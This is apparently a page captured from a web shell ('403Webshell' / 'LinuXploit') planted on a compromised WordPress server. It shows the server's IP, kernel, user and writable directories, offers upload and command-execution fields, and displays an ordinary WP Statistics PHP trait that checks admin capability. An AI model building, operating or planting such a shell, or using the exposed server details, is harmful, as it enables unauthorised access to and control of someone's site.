403Webshell
Server IP : 23.94.149.180  /  Your IP : 216.73.216.147
Web Server : nginx/1.20.1
System : Linux deadrock 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 15:18:14 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.6.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /files/www/curiousmindgarden/mind/wp-content/plugins/wp-statistics/src/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /files/www/curiousmindgarden/mind/wp-content/plugins/wp-statistics/src/Traits/MigrationAccess.php
<?php
namespace WP_Statistics\Traits;

use WP_Statistics\Option;
use WP_Statistics\User;
use WP_Statistics\Menus;

/**
 * Trait: MigrationAccess
 *
 * Minimal, stateless check used by migration-related classes to validate the
 * access context. It only verifies capability (from the option
 * `manage_capability`, defaulting to `manage_options`) and that the current
 * admin page belongs to the WP Statistics plugin.
 *
 * Note: Nonce/CSRF validation and other context rules should be handled
 * separately (e.g., in controllers or managers) to keep this trait focused.
 */
trait MigrationAccess
{
    /**
     * True if the current request is allowed to run migration operations.
     *
     * @return bool
     */
    protected function isValidContext()
    {
        if (! User::checkUserCapability(Option::get('manage_capability', 'manage_options'))) {
            return false;
        }

        return Menus::in_plugin_page();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit